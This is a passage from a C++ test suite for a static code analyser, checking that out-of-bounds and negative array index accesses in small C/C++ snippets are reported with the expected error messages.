\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i=4;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[6];\\n\"\n \" for (int i = 0; i < 7; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Buffer overrun\\n\", \"\", errout_str());\n }\n\n void array_index_19() {\n // \"One Past the End\" is legal, as long as pointer is not dereferenced.\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[2]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Getting more than one past the end is not legal\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'a[2]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_20() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[8];\\n\"\n \" int b[10];\\n\"\n \" for ( int i = 0; i < 9; i++ )\\n\"\n \" b[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_21() {\n check(\"class A {\\n\"\n \" int indices[2];\\n\"\n \" void foo(int indices[3]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo(int indices[3]) {\\n\"\n \" for(int j=0; j<3; ++j) {\\n\"\n \" int b = indices[j];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_22() {\n check(\"int main() {\\n\"\n \" size_t indices[2];\\n\"\n \" int b = indices[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (error) Array 'indices[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_23() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char c[10];\\n\"\n \" c[1<<23]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'c[10]' accessed at index 8388608, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_24() {\n // ticket #1492 and #1539\n const std::string charMaxPlusOne(settings0.platform.defaultSign == 'u' ? \"256\" : \"128\");\n check(\"void f(char n) {\\n\"\n \" int a[n];\\n\" // n <= CHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[\" + charMaxPlusOne + \"] = 0;\\n\" // 128/256 > CHAR_MAX\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index \" + charMaxPlusOne + \", which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed char n) {\\n\"\n \" int a[n];\\n\" // n <= SCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[128] = 0;\\n\" // 128 > SCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[128]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[128]' accessed at index 128, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned char n) {\\n\"\n \" int a[n];\\n\" // n <= UCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[256] = 0;\\n\" // 256 > UCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[256]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[256]' accessed at index 256, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned short n) {\\n\"\n \" int a[n];\\n\" // n <= USHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[65536] = 0;\\n\" // 65536 > USHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[65536]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[65536]' accessed at index 65536, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(unsigned int n) {\\n\"\n \" int a[n];\\n\" // n <= UINT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[4294967296]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(signed int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_25() { // #1536\n check(\"void foo()\\n\"\n \"{\\n\"\n \" long l[SOME_SIZE];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_26() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[3];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[4];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_27() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i-1] = a[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_28() {\n // ticket #1418\n check(\"void f()\\n\"\n \"{\\n\"\n \" int i[2];\\n\"\n \" int *ip = i + 1;\\n\"\n \" ip[-10] = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Array ip[-10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_29() {\n // ticket #1724\n check(\"void f()\\n\"\n \"{\\n\"\n \" int iBuf[10];\"\n \" int *i = iBuf + 9;\"\n \" int *ii = i + -5;\"\n \" ii[10] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Array ii[10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_30() {\n // ticket #2086 - unknown type\n // extracttests.start: typedef unsigned char UINT8;\n check(\"void f() {\\n\"\n \" UINT8 x[2];\\n\"\n \" x[5] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'x[2]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_31() {\n // ticket #2120 - sub function, unknown type\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[0] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:11] -> [test.cpp:6]: (error) Array 'obj.delay[3]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"struct s1 {\\n\"\n \" float a[0];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct s1 *obj;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_32() {\n check(\"class X\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" X()\\n\"\n \" {\\n\"\n \" m_x[0] = 0;\\n\"\n \" m_x[1] = 0;\\n\"\n \" }\\n\"\n \" int m_x[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'm_x[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_33() {\n check(\"void foo(char bar[][4]) {\\n\"\n \" baz(bar[5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_34() { // ticket #3063\n check(\"void foo() {\\n\"\n \" int y[2][2][2];\\n\"\n \" y[0][2][0] = 0;\\n\"\n \" y[0][0][2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'y[2][2][2]' accessed at index y[0][2][0], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:4:6]: (error) Array 'y[2][2][2]' accessed at index y[0][0][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" char b[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[10] = 3;\\n\"\n \" test.b[10][2] = 4;\\n\"\n \" test.b[0][19] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[10] = 3;\\n\"\n \" ptest->b[10][2] = 4;\\n\"\n \" ptest->b[0][19] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'test.a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:10:11]: (error) Array 'test.b[10][5]' accessed at index test.b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:11]: (error) Array 'test.b[10][5]' accessed at index test.b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:14:13]: (error) Array 'ptest->a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:15:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:16:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[9][5] = 4;\\n\"\n \" test.a[0][50] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[9][5] = 4;\\n\"\n \" ptest->a[0][50] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (error) Array 'test.a[10][5]' accessed at index test.a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:9:11]: (error) Array 'test.a[10][5]' accessed at index test.a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:12:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:13:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_35() { // ticket #2889\n check(\"void f() {\\n\"\n \" struct Struct { unsigned m_Var[1]; } s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct * s = calloc(40);\\n\"\n \" s->m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_36() { // ticket #2960\n check(\"class Fred {\\n\"\n \" Fred(const Fred &);\\n\"\n \"private:\\n\"\n \" bool m_b[2];\\n\"\n \"};\\n\"\n \"Fred::Fred(const Fred & rhs) {\\n\"\n \" m_b[2] = rhs.m_b[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (error) Array 'm_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:21]: (error) Array 'rhs.m_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_37() {\n check(\"class Fred {\\n\"\n \" char x[X];\\n\"\n \" Fred() {\\n\"\n \" for (unsigned int i = 0; i < 15; i++)\\n\"\n \" i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_38() { //ticket #3273\n check(\"void aFunction() {\\n\"\n \" double aDoubleArray[ 10 ];\\n\"\n \" unsigned int i; i = 0;\\n\"\n \" for( i = 0; i < 6; i++ )\\n\"\n \" {\\n\"\n \" unsigned int j; j = 0;\\n\"\n \" for( j = 0; j < 5; j++ )\\n\"\n \" {\\n\"\n \" unsigned int x; x = 0;\\n\"\n \" for( x = 0; x < 4; x++ )\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_39() { // ticket 3387\n check(\"void aFunction()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" a[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_40() {\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" f2(&a[i + 1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_41() {\n // Don't generate false positives when structs have the same name\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (error) Array 'fred.data[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_42() { // ticket #3569\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" float *p; p = (float *)malloc(10 * sizeof(float));\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = new char[10];\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p(new char[10]);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p = NULL;\"\n \" try{\\n\"\n \" p = new char[10];\\n\"\n \" }\\n\"\n \" catch(...){\\n\"\n \" return;\\n\"\n \" }\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_43() { // #3838\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 3 ];\\n\" // <-- array access out of bounds\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:20]: (error) Array 'var[0].arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y=1;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"int f( ){\\n\"\n \"struct Struct{\\n\"\n \" int arr[ 3 ];\\n\"\n \"};\\n\"\n \"int y;\\n\"\n \"Struct var;\\n\"\n \"var.arr[ 0 ] = 0;\\n\"\n \"var.arr[ 1 ] = 1;\\n\"\n \"var.arr[ 2 ] = 2;\\n\"\n \"var.arr[ 3 ] = 3;\\n\" // <-- array access out of bounds\n \"y=var.arr[ 3 ];\\n\" // <-- array access out of bounds\n \"return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"var[0].var[ 4 ] = 4;\\n\" // <-- array access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'var[0].var[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid FPs (modified examples taken from #3838)\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab;\\n\"\n \" int * p = &ab.a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[0].a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[10].a[0];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'ab[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_44() { // #3979 (false positive)\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[2];\\n\"\n \" int i;\\n\"\n \" for (i = 2; --i >= 0; )\\n\"\n \" {\\n\"\n \" buf[i] = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double buf[2];\\n\"\n \" for (int i = 2; i--; )\\n\"\n \" {\\n\"\n \" buf[i] = 2.;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_45() { // #4207 - handling of function with variable number of parameters / unnamed arguments\n // Variable number of arguments\n check(\"void f(const char *format, ...) {\\n\"\n \" va_args args;\\n\"\n \" va_start(args, format);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" CHAR buffer[1024];\\n\"\n \" f(\\\"%s\\\", buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unnamed argument\n check(\"void f(char *) {\\n\"\n \" dostuff();\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" char buffer[1024];\\n\"\n \" f(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Two statement for-loop\n void array_index_46() {\n // #4840\n check(\"void bufferAccessOutOfBounds2() {\\n\"\n \" char *buffer[]={\\\"a\\\",\\\"b\\\",\\\"c\\\"};\\n\"\n \" for(int i=3; i--;) {\\n\"\n \" printf(\\\"files(%i): %s\\\", 3-i, buffer[3-i]);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Array 'buffer[3]' accessed at index 3, which is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buffer[9];\\n\"\n \" long int i;\\n\"\n \" for(i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Array 'buffer[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Correct access limits -> i from 9 to 0\n check(\"void f() {\\n\"\n \" int buffer[10];\\n\"\n \" for(unsigned long int i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_47() {\n // #5849\n check(\"int s[4];\\n\"\n \"void f() {\\n\"\n \" for (int i = 2; i < 0; i++)\\n\"\n \" s[i] = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_48() {\n // #9478\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" printf(\\\" %i\\\", i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Array 'array[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" scanf(\\\"%i\\\", &i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_49() {\n // #8653\n check(\"void f() {\\n\"\n \" int i, k;\\n\"\n \" int arr[34] = {};\\n\"\n \" i = 1;\\n\"\n \" for (k = 0; k < 34 && i < 34; k++) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" arr[k];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_50() {\n check(\"void f(const char * str) {\\n\"\n \" int len = strlen(str);\\n\"\n \" (void)str[len - 1];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"12345678\\\");\\n\"\n \" f(\\\"12345\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_51() {\n check(\"void f(void){\\n\"\n \" int k=0, dd, d[1U] = {1};\\n\"\n \" for (dd=d[k]; k<10; dd=d[++k]){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: (error) Array 'd[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_52() {\n check(\"char f(void)\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for(int i = 0, j= 11; i < j; ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_53() {\n check(\"double M[3][1];\\n\"\n \" \\n\"\n \"void matrix()\\n\"\n \"{\\n\"\n \" for (int i=0; i < 3; i++)\\n\"\n \" for (int j = 0; j < 3; j++)\\n\"\n \" M[i][j]=0.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (error) Array 'M[3][1]' accessed at index M[*][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_54() {\n check(\"void f() {\\n\"\n \" g(0);\\n\"\n \"}\\n\"\n \"void g(unsigned int x) {\\n\"\n \" int b[4];\\n\"\n \" for (unsigned int i = 0; i < 4; i += 2) {\\n\"\n \" b[i] = 0;\\n\"\n \" b[i+1] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_55() {\n check(\"void make(const char* s, size_t len) {\\n\"\n \" for (size_t i = 0; i < len; ++i)\\n\"\n \" s[i];\\n\"\n \"}\\n\"\n \"void make(const char* s) {\\n\"\n \" make(s, strlen(s));\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" make(\\\"my-utf8-payload\\\");\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" make(\\\"false\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_56() {\n check(\"struct s {\\n\"\n \" int array[1];\\n\"\n \" int index;\\n\"\n \"};\\n\"\n \"void f(struct s 